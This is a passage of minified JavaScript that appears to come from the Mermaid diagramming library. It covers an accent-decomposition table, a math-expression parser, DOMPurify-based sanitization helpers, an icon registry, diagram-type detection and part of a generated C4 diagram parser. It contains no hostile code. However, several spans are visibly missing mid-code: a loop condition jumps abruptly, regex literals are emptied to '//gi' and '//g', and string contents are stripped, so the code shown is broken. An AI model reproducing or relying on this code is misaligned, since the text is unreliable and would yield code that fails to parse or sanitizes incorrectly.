u0227:"a\u0307",\u01E1:"a\u0307\u0304",\u00E5:"a\u030A",\u01FB:"a\u030A\u0301",\u1E03:"b\u0307",\u0107:"c\u0301",\u1E09:"c\u0327\u0301",\u010D:"c\u030C",\u0109:"c\u0302",\u010B:"c\u0307",\u00E7:"c\u0327",\u010F:"d\u030C",\u1E0B:"d\u0307",\u1E11:"d\u0327",\u00E9:"e\u0301",\u00E8:"e\u0300",\u00EB:"e\u0308",\u1EBD:"e\u0303",\u0113:"e\u0304",\u1E17:"e\u0304\u0301",\u1E15:"e\u0304\u0300",\u0115:"e\u0306",\u1E1D:"e\u0327\u0306",\u011B:"e\u030C",\u00EA:"e\u0302",\u1EBF:"e\u0302\u0301",\u1EC1:"e\u0302\u0300",\u1EC5:"e\u0302\u0303",\u0117:"e\u0307",\u0229:"e\u0327",\u1E1F:"f\u0307",\u01F5:"g\u0301",\u1E21:"g\u0304",\u011F:"g\u0306",\u01E7:"g\u030C",\u011D:"g\u0302",\u0121:"g\u0307",\u0123:"g\u0327",\u1E27:"h\u0308",\u021F:"h\u030C",\u0125:"h\u0302",\u1E23:"h\u0307",\u1E29:"h\u0327",\u00ED:"i\u0301",\u00EC:"i\u0300",\u00EF:"i\u0308",\u1E2F:"i\u0308\u0301",\u0129:"i\u0303",\u012B:"i\u0304",\u012D:"i\u0306",\u01D0:"i\u030C",\u00EE:"i\u0302",\u01F0:"j\u030C",\u0135:"j\u0302",\u1E31:"k\u0301",\u01E9:"k\u030C",\u0137:"k\u0327",\u013A:"l\u0301",\u013E:"l\u030C",\u013C:"l\u0327",\u1E3F:"m\u0301",\u1E41:"m\u0307",\u0144:"n\u0301",\u01F9:"n\u0300",\u00F1:"n\u0303",\u0148:"n\u030C",\u1E45:"n\u0307",\u0146:"n\u0327",\u00F3:"o\u0301",\u00F2:"o\u0300",\u00F6:"o\u0308",\u022B:"o\u0308\u0304",\u00F5:"o\u0303",\u1E4D:"o\u0303\u0301",\u1E4F:"o\u0303\u0308",\u022D:"o\u0303\u0304",\u014D:"o\u0304",\u1E53:"o\u0304\u0301",\u1E51:"o\u0304\u0300",\u014F:"o\u0306",\u01D2:"o\u030C",\u00F4:"o\u0302",\u1ED1:"o\u0302\u0301",\u1ED3:"o\u0302\u0300",\u1ED7:"o\u0302\u0303",\u022F:"o\u0307",\u0231:"o\u0307\u0304",\u0151:"o\u030B",\u1E55:"p\u0301",\u1E57:"p\u0307",\u0155:"r\u0301",\u0159:"r\u030C",\u1E59:"r\u0307",\u0157:"r\u0327",\u015B:"s\u0301",\u1E65:"s\u0301\u0307",\u0161:"s\u030C",\u1E67:"s\u030C\u0307",\u015D:"s\u0302",\u1E61:"s\u0307",\u015F:"s\u0327",\u1E97:"t\u0308",\u0165:"t\u030C",\u1E6B:"t\u0307",\u0163:"t\u0327",\u00FA:"u\u0301",\u00F9:"u\u0300",\u00FC:"u\u0308",\u01D8:"u\u0308\u0301",\u01DC:"u\u0308\u0300",\u01D6:"u\u0308\u0304",\u01DA:"u\u0308\u030C",\u0169:"u\u0303",\u1E79:"u\u0303\u0301",\u016B:"u\u0304",\u1E7B:"u\u0304\u0308",\u016D:"u\u0306",\u01D4:"u\u030C",\u00FB:"u\u0302",\u016F:"u\u030A",\u0171:"u\u030B",\u1E7D:"v\u0303",\u1E83:"w\u0301",\u1E81:"w\u0300",\u1E85:"w\u0308",\u0175:"w\u0302",\u1E87:"w\u0307",\u1E98:"w\u030A",\u1E8D:"x\u0308",\u1E8B:"x\u0307",\u00FD:"y\u0301",\u1EF3:"y\u0300",\u00FF:"y\u0308",\u1EF9:"y\u0303",\u0233:"y\u0304",\u0177:"y\u0302",\u1E8F:"y\u0307",\u1E99:"y\u030A",\u017A:"z\u0301",\u017E:"z\u030C",\u1E91:"z\u0302",\u017C:"z\u0307",\u00C1:"A\u0301",\u00C0:"A\u0300",\u00C4:"A\u0308",\u01DE:"A\u0308\u0304",\u00C3:"A\u0303",\u0100:"A\u0304",\u0102:"A\u0306",\u1EAE:"A\u0306\u0301",\u1EB0:"A\u0306\u0300",\u1EB4:"A\u0306\u0303",\u01CD:"A\u030C",\u00C2:"A\u0302",\u1EA4:"A\u0302\u0301",\u1EA6:"A\u0302\u0300",\u1EAA:"A\u0302\u0303",\u0226:"A\u0307",\u01E0:"A\u0307\u0304",\u00C5:"A\u030A",\u01FA:"A\u030A\u0301",\u1E02:"B\u0307",\u0106:"C\u0301",\u1E08:"C\u0327\u0301",\u010C:"C\u030C",\u0108:"C\u0302",\u010A:"C\u0307",\u00C7:"C\u0327",\u010E:"D\u030C",\u1E0A:"D\u0307",\u1E10:"D\u0327",\u00C9:"E\u0301",\u00C8:"E\u0300",\u00CB:"E\u0308",\u1EBC:"E\u0303",\u0112:"E\u0304",\u1E16:"E\u0304\u0301",\u1E14:"E\u0304\u0300",\u0114:"E\u0306",\u1E1C:"E\u0327\u0306",\u011A:"E\u030C",\u00CA:"E\u0302",\u1EBE:"E\u0302\u0301",\u1EC0:"E\u0302\u0300",\u1EC4:"E\u0302\u0303",\u0116:"E\u0307",\u0228:"E\u0327",\u1E1E:"F\u0307",\u01F4:"G\u0301",\u1E20:"G\u0304",\u011E:"G\u0306",\u01E6:"G\u030C",\u011C:"G\u0302",\u0120:"G\u0307",\u0122:"G\u0327",\u1E26:"H\u0308",\u021E:"H\u030C",\u0124:"H\u0302",\u1E22:"H\u0307",\u1E28:"H\u0327",\u00CD:"I\u0301",\u00CC:"I\u0300",\u00CF:"I\u0308",\u1E2E:"I\u0308\u0301",\u0128:"I\u0303",\u012A:"I\u0304",\u012C:"I\u0306",\u01CF:"I\u030C",\u00CE:"I\u0302",\u0130:"I\u0307",\u0134:"J\u0302",\u1E30:"K\u0301",\u01E8:"K\u030C",\u0136:"K\u0327",\u0139:"L\u0301",\u013D:"L\u030C",\u013B:"L\u0327",\u1E3E:"M\u0301",\u1E40:"M\u0307",\u0143:"N\u0301",\u01F8:"N\u0300",\u00D1:"N\u0303",\u0147:"N\u030C",\u1E44:"N\u0307",\u0145:"N\u0327",\u00D3:"O\u0301",\u00D2:"O\u0300",\u00D6:"O\u0308",\u022A:"O\u0308\u0304",\u00D5:"O\u0303",\u1E4C:"O\u0303\u0301",\u1E4E:"O\u0303\u0308",\u022C:"O\u0303\u0304",\u014C:"O\u0304",\u1E52:"O\u0304\u0301",\u1E50:"O\u0304\u0300",\u014E:"O\u0306",\u01D1:"O\u030C",\u00D4:"O\u0302",\u1ED0:"O\u0302\u0301",\u1ED2:"O\u0302\u0300",\u1ED6:"O\u0302\u0303",\u022E:"O\u0307",\u0230:"O\u0307\u0304",\u0150:"O\u030B",\u1E54:"P\u0301",\u1E56:"P\u0307",\u0154:"R\u0301",\u0158:"R\u030C",\u1E58:"R\u0307",\u0156:"R\u0327",\u015A:"S\u0301",\u1E64:"S\u0301\u0307",\u0160:"S\u030C",\u1E66:"S\u030C\u0307",\u015C:"S\u0302",\u1E60:"S\u0307",\u015E:"S\u0327",\u0164:"T\u030C",\u1E6A:"T\u0307",\u0162:"T\u0327",\u00DA:"U\u0301",\u00D9:"U\u0300",\u00DC:"U\u0308",\u01D7:"U\u0308\u0301",\u01DB:"U\u0308\u0300",\u01D5:"U\u0308\u0304",\u01D9:"U\u0308\u030C",\u0168:"U\u0303",\u1E78:"U\u0303\u0301",\u016A:"U\u0304",\u1E7A:"U\u0304\u0308",\u016C:"U\u0306",\u01D3:"U\u030C",\u00DB:"U\u0302",\u016E:"U\u030A",\u0170:"U\u030B",\u1E7C:"V\u0303",\u1E82:"W\u0301",\u1E80:"W\u0300",\u1E84:"W\u0308",\u0174:"W\u0302",\u1E86:"W\u0307",\u1E8C:"X\u0308",\u1E8A:"X\u0307",\u00DD:"Y\u0301",\u1EF2:"Y\u0300",\u0178:"Y\u0308",\u1EF8:"Y\u0303",\u0232:"Y\u0304",\u0176:"Y\u0302",\u1E8E:"Y\u0307",\u0179:"Z\u0301",\u017D:"Z\u030C",\u1E90:"Z\u0302",\u017B:"Z\u0307",\u03AC:"\u03B1\u0301",\u1F70:"\u03B1\u0300",\u1FB1:"\u03B1\u0304",\u1FB0:"\u03B1\u0306",\u03AD:"\u03B5\u0301",\u1F72:"\u03B5\u0300",\u03AE:"\u03B7\u0301",\u1F74:"\u03B7\u0300",\u03AF:"\u03B9\u0301",\u1F76:"\u03B9\u0300",\u03CA:"\u03B9\u0308",\u0390:"\u03B9\u0308\u0301",\u1FD2:"\u03B9\u0308\u0300",\u1FD1:"\u03B9\u0304",\u1FD0:"\u03B9\u0306",\u03CC:"\u03BF\u0301",\u1F78:"\u03BF\u0300",\u03CD:"\u03C5\u0301",\u1F7A:"\u03C5\u0300",\u03CB:"\u03C5\u0308",\u03B0:"\u03C5\u0308\u0301",\u1FE2:"\u03C5\u0308\u0300",\u1FE1:"\u03C5\u0304",\u1FE0:"\u03C5\u0306",\u03CE:"\u03C9\u0301",\u1F7C:"\u03C9\u0300",\u038E:"\u03A5\u0301",\u1FEA:"\u03A5\u0300",\u03AB:"\u03A5\u0308",\u1FE9:"\u03A5\u0304",\u1FE8:"\u03A5\u0306",\u038F:"\u03A9\u0301",\u1FFA:"\u03A9\u0300"},C3=class t{static{o(this,"Parser")}constructor(e,r){this.mode=void 0,this.gullet=void 0,this.settings=void 0,this.leftrightDepth=void 0,this.nextToken=void 0,this.mode="math",this.gullet=new sA(e,r,this.mode),this.settings=r,this.leftrightDepth=0}expect(e,r){if(r===void 0&&(r=!0),this.fetch().text!==e)throw new gt("Expected '"+e+"', got '"+this.fetch().text+"'",this.fetch());r&&this.consume()}consume(){this.nextToken=null}fetch(){return this.nextToken==null&&(this.nextToken=this.gullet.expandNextToken()),this.nextToken}switchMode(e){this.mode=e,this.gullet.switchMode(e)}parse(){this.settings.globalGroup||this.gullet.beginGroup(),this.settings.colorIsTextColor&&this.gullet.macros.set("\\color","\\textcolor");try{var e=this.parseExpression(!1);return this.expect("EOF"),this.settings.globalGroup||this.gullet.endGroup(),e}finally{this.gullet.endGroups()}}subparse(e){var r=this.nextToken;this.consume(),this.gullet.pushToken(new Do("}")),this.gullet.pushTokens(e);var n=this.parseExpression(!1);return this.expect("}"),this.nextToken=r,n}parseExpression(e,r){for(var n=[];;){this.mode==="math"&&this.consumeSpaces();var i=this.fetch();if(t.endOfExpression.indexOf(i.text)!==-1||r&&i.text===r||e&&xh[i.text]&&xh[i.text].infix)break;var a=this.parseAtom(r);if(a){if(a.type==="internal")continue}else break;n.push(a)}return this.mode==="text"&&this.formLigatures(n),this.handleInfixNodes(n)}handleInfixNodes(e){for(var r=-1,n,i=0;i=0&&this.settings.reportNonstrict("unicodeTextInMathMode",'Latin-1/Unicode text character "'+r[0]+'" used in math mode',e);var l=Nn[this.mode][r].group,u=to.range(e),h;if(STe.hasOwnProperty(l)){var f=l;h={type:"atom",mode:this.mode,family:f,loc:u,text:r}}else h={type:l,mode:this.mode,loc:u,text:r};s=h}else if(r.charCodeAt(0)>=128)this.settings.strict&&(YV(r.charCodeAt(0))?this.mode==="math"&&this.settings.reportNonstrict("unicodeTextInMathMode",'Unicode text character "'+r[0]+'" used in math mode',e):this.settings.reportNonstrict("unknownSymbol",'Unrecognized Unicode character "'+r[0]+'"'+(" ("+r.charCodeAt(0)+")"),e)),s={type:"textord",mode:"text",loc:to.range(e),text:r};else return null;if(this.consume(),a)for(var d=0;d{e.tagName==="A"&&e.hasAttribute("target")&&e.setAttribute(t,e.getAttribute("target")??"")}),yh.addHook("afterSanitizeAttributes",e=>{e.tagName==="A"&&e.hasAttribute(t)&&(e.setAttribute("target",e.getAttribute(t)??""),e.removeAttribute(t),e.getAttribute("target")==="_blank"&&e.setAttribute("rel","noopener"))})}var pd,Pwe,Bwe,KU,XU,sr,$we,zwe,Gwe,Vwe,QU,md,vr,Uwe,Hwe,rc,SA,qwe,Wwe,jU,I3,kn,gd,Ywe,kh,tt,gr=N(()=>{"use strict";O7();pd=//gi,Pwe=o(t=>t?QU(t).replace(/\\n/g,"#br#").split("#br#"):[""],"getRows"),Bwe=(()=>{let t=!1;return()=>{t||(Fwe(),t=!0)}})();o(Fwe,"setupDompurifyHooks");KU=o(t=>(Bwe(),yh.sanitize(t)),"removeScript"),XU=o((t,e)=>{if(e.flowchart?.htmlLabels!==!1){let r=e.securityLevel;r==="antiscript"||r==="strict"?t=KU(t):r!=="loose"&&(t=QU(t),t=t.replace(//g,">"),t=t.replace(/=/g,"="),t=Vwe(t))}return t},"sanitizeMore"),sr=o((t,e)=>t&&(e.dompurifyConfig?t=yh.sanitize(XU(t,e),e.dompurifyConfig).toString():t=yh.sanitize(XU(t,e),{FORBID_TAGS:["style"]}).toString(),t),"sanitizeText"),$we=o((t,e)=>typeof t=="string"?sr(t,e):t.flat().map(r=>sr(r,e)),"sanitizeTextOrArray"),zwe=o(t=>pd.test(t),"hasBreaks"),Gwe=o(t=>t.split(pd),"splitBreaks"),Vwe=o(t=>t.replace(/#br#/g,"
"),"placeholderToBreak"),QU=o(t=>t.replace(pd,"#br#"),"breakToPlaceholder"),md=o(t=>{let e="";return t&&(e=window.location.protocol+"//"+window.location.host+window.location.pathname+window.location.search,e=CSS.escape(e)),e},"getUrl"),vr=o(t=>!(t===!1||["false","null","0"].includes(String(t).trim().toLowerCase())),"evaluate"),Uwe=o(function(...t){let e=t.filter(r=>!isNaN(r));return Math.max(...e)},"getMax"),Hwe=o(function(...t){let e=t.filter(r=>!isNaN(r));return Math.min(...e)},"getMin"),rc=o(function(t){let e=t.split(/(,)/),r=[];for(let n=0;n0&&n+1Math.max(0,t.split(e).length-1),"countOccurrence"),qwe=o((t,e)=>{let r=SA(t,"~"),n=SA(e,"~");return r===1&&n===1},"shouldCombineSets"),Wwe=o(t=>{let e=SA(t,"~"),r=!1;if(e<=1)return t;e%2!==0&&t.startsWith("~")&&(t=t.substring(1),r=!0);let n=[...t],i=n.indexOf("~"),a=n.lastIndexOf("~");for(;i!==-1&&a!==-1&&i!==a;)n[i]="<",n[a]=">",i=n.indexOf("~"),a=n.lastIndexOf("~");return r&&n.unshift("~"),n.join("")},"processSet"),jU=o(()=>window.MathMLElement!==void 0,"isMathMLSupported"),I3=/\$\$(.*)\$\$/g,kn=o(t=>(t.match(I3)?.length??0)>0,"hasKatex"),gd=o(async(t,e)=>{let r=document.createElement("div");r.innerHTML=await kh(t,e),r.id="katex-temp",r.style.visibility="hidden",r.style.position="absolute",r.style.top="0",document.querySelector("body")?.insertAdjacentElement("beforeend",r);let i={width:r.clientWidth,height:r.clientHeight};return r.remove(),i},"calculateMathMLDimensions"),Ywe=o(async(t,e)=>{if(!kn(t))return t;if(!(jU()||e.legacyMathML||e.forceLegacyMathML))return t.replace(I3,"MathML is unsupported in this environment.");{let{default:r}=await Promise.resolve().then(()=>(YU(),WU)),n=e.forceLegacyMathML||!jU()&&e.legacyMathML?"htmlAndMathml":"mathml";return t.split(pd).map(i=>kn(i)?`
${i}
`:`
${i}
`).join("").replace(I3,(i,a)=>r.renderToString(a,{throwOnError:!0,displayMode:!0,output:n}).replace(/\n/g," ").replace(//g,""))}return t.replace(I3,"Katex is not supported in @mermaid-js/tiny. Please use the full mermaid library.")},"renderKatexUnsanitized"),kh=o(async(t,e)=>sr(await Ywe(t,e),e),"renderKatexSanitized"),tt={getRows:Pwe,sanitizeText:sr,sanitizeTextOrArray:$we,hasBreaks:zwe,splitBreaks:Gwe,lineBreakRegex:pd,removeScript:KU,getUrl:md,evaluate:vr,getMax:Uwe,getMin:Hwe}});var AA,CA,ZU,O3,JU,eH,_s,nc=N(()=>{"use strict";sG();qn();gr();pt();AA={body:'?',height:80,width:80},CA=new Map,ZU=new Map,O3=o(t=>{for(let e of t){if(!e.name)throw new Error('Invalid icon loader. Must have a "name" property with non-empty string value.');if(X.debug("Registering icon pack:",e.name),"loader"in e)ZU.set(e.name,e.loader);else if("icons"in e)CA.set(e.name,e.icons);else throw X.error("Invalid icon loader:",e),new Error('Invalid icon loader. Must have either "icons" or "loader" property.')}},"registerIconPacks"),JU=o(async(t,e)=>{let r=r7(t,!0,e!==void 0);if(!r)throw new Error(`Invalid icon name: ${t}`);let n=r.prefix||e;if(!n)throw new Error(`Icon name must contain a prefix: ${t}`);let i=CA.get(n);if(!i){let s=ZU.get(n);if(!s)throw new Error(`Icon set not found: ${r.prefix}`);try{i={...await s(),prefix:n},CA.set(n,i)}catch(l){throw X.error(l),new Error(`Failed to load icon set: ${r.prefix}`)}}let a=i7(i,r.name);if(!a)throw new Error(`Icon not found: ${t}`);return a},"getRegisteredIconData"),eH=o(async t=>{try{return await JU(t),!0}catch{return!1}},"isIconAvailable"),_s=o(async(t,e,r)=>{let n;try{n=await JU(t,e?.fallbackPrefix)}catch(s){X.error(s),n=AA}let i=s7(n,e),a=l7(o7(i.body),{...i.attributes,...r});return sr(a,Qt())},"getIconSVG")});function P3(t){for(var e=[],r=1;r{"use strict";o(P3,"dedent")});var B3,yd,tH,F3=N(()=>{"use strict";B3=/^-{3}\s*[\n\r](.*?)[\n\r]-{3}\s*[\n\r]+/s,yd=/%{2}{\s*(?:(\w+)\s*:|(\w+))\s*(?:(\w+)|((?:(?!}%{2}).|\r?\n)*))?\s*(?:}%{2})?/gi,tH=/\s*%%.*\n/gm});var A0,DA=N(()=>{"use strict";A0=class extends Error{static{o(this,"UnknownDiagramError")}constructor(e){super(e),this.name="UnknownDiagramError"}}});var gu,_0,ev,LA,rH,vd=N(()=>{"use strict";pt();F3();DA();gu={},_0=o(function(t,e){t=t.replace(B3,"").replace(yd,"").replace(tH,` +`);for(let[r,{detector:n}]of Object.entries(gu))if(n(t,e))return r;throw new A0(`No diagram type detected matching given configuration for text: ${t}`)},"detectType"),ev=o((...t)=>{for(let{id:e,detector:r,loader:n}of t)LA(e,r,n)},"registerLazyLoadedDiagrams"),LA=o((t,e,r)=>{gu[t]&&X.warn(`Detector with key ${t} already exists. Overwriting.`),gu[t]={detector:e,loader:r},X.debug(`Detector with key ${t} added${r?" with loader":""}`)},"addDetector"),rH=o(t=>gu[t].loader,"getDiagramLoader")});var tv,nH,RA=N(()=>{"use strict";tv=(function(){var t=o(function(He,Le,Ie,Ne){for(Ie=Ie||{},Ne=He.length;Ne--;Ie[He[Ne]]=Le);return Ie},"o"),e=[1,24],r=[1,25],n=[1,26],i=[1,27],a=[1,28],s=[1,63],l=[1,64],u=[1,65],h=[1,66],f=[1,67],d=[1,68],p=[1,69],m=[1,29],g=[1,30],y=[1,31],v=[1,32],x=[1,33],b=[1,34],T=[1,35],S=[1,36],w=[1,37],k=[1,38],A=[1,39],C=[1,40],R=[1,41],I=[1,42],L=[1,43],E=[1,44],D=[1,45],_=[1,46],O=[1,47],M=[1,48],P=[1,50],B=[1,51],F=[1,52],G=[1,53],$=[1,54],U=[1,55],j=[1,56],te=[1,57],Y=[1,58],oe=[1,59],J=[1,60],ue=[14,42],re=[14,34,36,37,38,39,40,41,42,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74],ee=[12,14,34,36,37,38,39,40,41,42,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74],Z=[1,82],K=[1,83],ae=[1,84],Q=[1,85],de=[12,14,42],ne=[12,14,33,42],Te=[12,14,33,42,76,77,79,80],q=[12,33],Ve=[34,36,37,38,39,40,41,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74],pe={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,mermaidDoc:4,direction:5,direction_tb:6,direction_bt:7,direction_rl:8,direction_lr:9,graphConfig:10,C4_CONTEXT:11,NEWLINE:12,statements:13,EOF:14,C4_CONTAINER:15,C4_COMPONENT:16,C4_DYNAMIC:17,C4_DEPLOYMENT:18,otherStatements:19,diagramStatements:20,otherStatement:21,title:22,accDescription:23,acc_title:24,acc_title_value:25,acc_descr:26,acc_descr_value:27,acc_descr_multiline_value:28,boundaryStatement:29,boundaryStartStatement:30,boundaryStopStatement:31,boundaryStart:32,LBRACE:33,ENTERPRISE_BOUNDARY:34,attributes:35,SYSTEM_BOUNDARY:36,BOUNDARY:37,CONTAINER_BOUNDARY:38,NODE:39,NODE_L:40,NODE_R:41,RBRACE:42,diagramStatement:43,PERSON:44,PERSON_EXT:45,SYSTEM:46,SYSTEM_DB:47,SYSTEM_QUEUE:48,SYSTEM_EXT:49,SYSTEM_EXT_DB:50,SYSTEM_EXT_QUEUE:51,CONTAINER:52,CONTAINER_DB:53,CONTAINER_QUEUE:54,CONTAINER_EXT:55,CONTAINER_EXT_DB:56,CONTAINER_EXT_QUEUE:57,COMPONENT:58,COMPONENT_DB:59,COMPONENT_QUEUE:60,COMPONENT_EXT:61,COMPONENT_EXT_DB:62,COMPONENT_EXT_QUEUE:63,REL:64,BIREL:65,REL_U:66,REL_D:67,REL_L:68,REL_R:69,REL_B:70,REL_INDEX:71,UPDATE_EL_STYLE:72,UPDATE_REL_STYLE:73,UPDATE_LAYOUT_CONFIG:74,attribute:75,STR:76,STR_KEY:77,STR_VALUE:78,ATTRIBUTE:79,ATTRIBUTE_EMPTY:80,$accept:0,$end:1},terminals_:{2:"error",6:"direction_tb",7:"direction_bt",8:"direction_rl",9:"direction_lr",11:"C4_CONTEXT",12:"NEWLINE",14:"EOF",15:"C4_CONTAINER",16:"C4_COMPONENT",17:"C4_DYNAMIC",18:"C4_DEPLOYMENT",22:"title",23:"accDescription",24:"acc_title",25:"acc_title_value",26:"acc_descr",27:"acc_descr_value",28:"acc_descr_multiline_value",33:"LBRACE",34:"ENTERPRISE_BOUNDARY",36:"SYSTEM_BOUNDARY",37:"BOUNDARY",38:"CONTAINER_BOUNDARY",39:"NODE",40:"NODE_L",41:"NODE_R",42:"RBRACE",44:"PERSON",45:"PERSON_EXT",46:"SYSTEM",47:"SYSTEM_DB",48:"SYSTEM_QUEUE",49:"SYSTEM_EXT",50:"SYSTEM_EXT_DB",51:"SYSTEM_EXT_QUEUE",52:"CONTAINER",53:"CONTAINER_DB",54:"CONTAINER_QUEUE",55:"CONTAINER_EXT",56:"CONTAINER_EXT_DB",57:"CONTAINER_EXT_QUEUE",58:"COMPONENT",59:"COMPONENT_DB",60:"COMPONENT_QUEUE",61:"COMPONENT_EXT",62:"COMPONENT_EXT_DB",63:"COMPONENT_EXT_QUEUE",64:"REL",65:"BIREL",66:"REL_U",67:"REL_D",68:"REL_L",69:"REL_R",70:"REL_B",71:"REL_INDEX",72:"UPDATE_EL_STYLE",73:"UPDATE_REL_STYLE",74:"UPDATE_LAYOUT_CONFIG",76:"STR",77:"STR_KEY",78:"STR_VALUE",79:"ATTRIBUTE",80:"ATTRIBUTE_EMPTY"},productions_:[0,[3,1],[3,1],[5,1],[5,1],[5,1],[5,1],[4,1],[10,4],[10,4],[10,4],[10,4],[10,4],[13,1],[13,1],[13,2],[19,1],[19,2],[19,3],[21,1],[21,1],[21,2],[21,2],[21,1],[29,3],[30,3],[30,3],[30,4],[32,2],[32,2],[32,2],[32,2],[32,2],[32,2],[32,2],[31,1],[20,1],[20,2],[20,3],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,1],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[35,1],[35,2],[75,1],[75,2],[75,1],[75,1]],performAction:o(function(Le,Ie,Ne,Ce,Fe,fe,xe){var W=fe.length-1;switch(Fe){case 3:Ce.setDirection("TB");break;case 4:Ce.setDirection("BT");break;case 5:Ce.setDirection("RL");break;case 6:Ce.setDirection("LR");break;case 8:case 9:case 10:case 11:case 12:Ce.setC4Type(fe[W-3]);break;case 19:Ce.setTitle(fe[W].substring(6)),this.$=fe[W].substring(6);break;case 20:Ce.setAccDescription(fe[W].substring(15)),this.$=fe[W].substring(15);break;case 21:this.$=fe[W].trim(),Ce.setTitle(this.$);break;case 22:case 23:this.$=fe[W].trim(),Ce.setAccDescription(this.$);break;case 28:fe[W].splice(2,0,"ENTERPRISE"),Ce.addPersonOrSystemBoundary(...fe[W]),this.$=fe[W];break;case 29:fe[W].splice(2,0,"SYSTEM"),Ce.addPersonOrSystemBoundary(...fe[W]),this.$=fe[W];break;case 30:Ce.addPersonOrSystemBoundary(...fe[W]),this.$=fe[W];break;case 31:fe[W].splice(2,0,"CONTAINER"),Ce.addContainerBoundary(...fe[W]),this.$=fe[W];break;case 32:Ce.addDeploymentNode("node",...fe[W]),this.$=fe[W];break;case 33:Ce.addDeploymentNode("nodeL",...fe[W]),this.$=fe[W];break;case 34:Ce.addDeploymentNode("nodeR",...fe[W]),this.$=fe[W];break;case 35:Ce.popBoundaryParseStack();break;case 39:Ce.addPersonOrSystem("person",...fe[W]),this.$=fe[W];break;case 40:Ce.addPersonOrSystem("external_person",...fe[W]),this.$=fe[W];break;case 41:Ce.addPersonOrSystem("system",...fe[W]),this.$=fe[W];break;case 42:Ce.addPersonOrSystem("system_db",...fe[W]),this.$=fe[W];break;case 43:Ce.addPersonOrSystem("system_queue",...fe[W]),this.$=fe[W];break;case 44:Ce.addPersonOrSystem("external_system",...fe[W]),this.$=fe[W];break;case 45:Ce.addPersonOrSystem("external_system_db",...fe[W]),this.$=fe[W];break;case 46:Ce.addPersonOrSystem("external_system_queue",...fe[W]),this.$=fe[W];break;case 47:Ce.addContainer("container",...fe[W]),this.$=fe[W];break;case 48:Ce.addContainer("container_db",...fe[W]),this.$=fe[W];break;case 49:Ce.addContainer("container_queue",...fe[W]),this.$=fe[W];break;case 50:Ce.addContainer("external_container",...fe[W]),this.$=fe[W];break;case 51:Ce.addContainer("external_container_db",...fe[W]),this.$=fe[W];break;case 52:Ce.addContainer("external_container_queue",...fe[W]),this.$=fe[W];break;case 53:Ce.addComponent("component",...fe[W]),this.$=fe[W];break;case 54:Ce.addComponent("component_db",...fe[W]),this.$=fe[W];break;case 55:Ce.addComponent("component_queue",...fe[W]),this.$=fe[W];break;case 56:Ce.addComponent("external_component",...fe[W]),this.$=fe[W];break;case 57:Ce.addComponent("external_component_db",...fe[W]),this.$=fe[W];break;case 58:Ce.addComponent("external_component_queue",...fe[W]),this.$=fe[W];break;case 60:Ce.addRel("rel",...fe[W]),this.$=fe[W];break;case 61:Ce.addRel("birel",...fe[W]),this.$=fe[W];break;case 62:Ce.addRel("rel_u",...fe[W]),this.$=fe[W];break;case 63:Ce.addRel("rel_d",...fe[W]),this.$=fe[W];break;case 64:Ce.addRel("rel_l",...fe[W]),this.$=fe[W];break;case 65:Ce.addRel("rel_r",...fe[W]),this.$=fe[W];break;case 66:Ce.addRel("rel_b",...fe[W]),this.$=fe[W];break;case 67:fe[W].splice(0,1),Ce.addRel("rel",...fe[W]),this.$=fe[W];break;case 68:Ce.updateElStyle("update_el_style",...fe[W]),this.$=fe[W];break;case 69:Ce.updateRelStyle("update_rel_style",...fe[W]),this.$=fe[W];break;case 70:Ce.updateLayoutConfig("update_layout_config",...fe[W]),this.$=fe[W];break;case 71:this.$=[fe[W]];break;case 72:fe[W].unshift(fe[W-1]),this.$=fe[W];break;case 73:case 75:this.$=fe[W].trim();break;case 74:let he={};he[fe[W-1].trim()]=fe[W].trim(),this.$=he;break;case 76:this.$="";break}},"anonymous"),table:[{3:1,4:2,5:3,6:[1,5],7:[1,6],8:[1,7],9:[1,8],10:4,11:[1,9],15:[1,10],16:[1,11],17:[1,12],18:[1,13]},{1:[3]},{1:[2,1]},{1:[2,2]},{1:[2,7]},{1:[2,3]},{1:[2,4]},{1:[2,5]},{1:[2,6]},{12:[1,14]},{12:[1,15]},{12:[1,16]},{12:[1,17]},{12:[1,18]},{13:19,19:20,20:21,21:22,22:e,23:r,24:n,26:i,28:a,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{13:70,19:20,20:21,21:22,22:e,23:r,24:n,26:i,28:a,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{13:71,19:20,20:21,21:22,22:e,23:r,24:n,26:i,28:a,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{13:72,19:20,20:21,21:22,22:e,23:r,24:n,26:i,28:a,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{13:73,19:20,20:21,21:22,22:e,23:r,24:n,26:i,28:a,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,5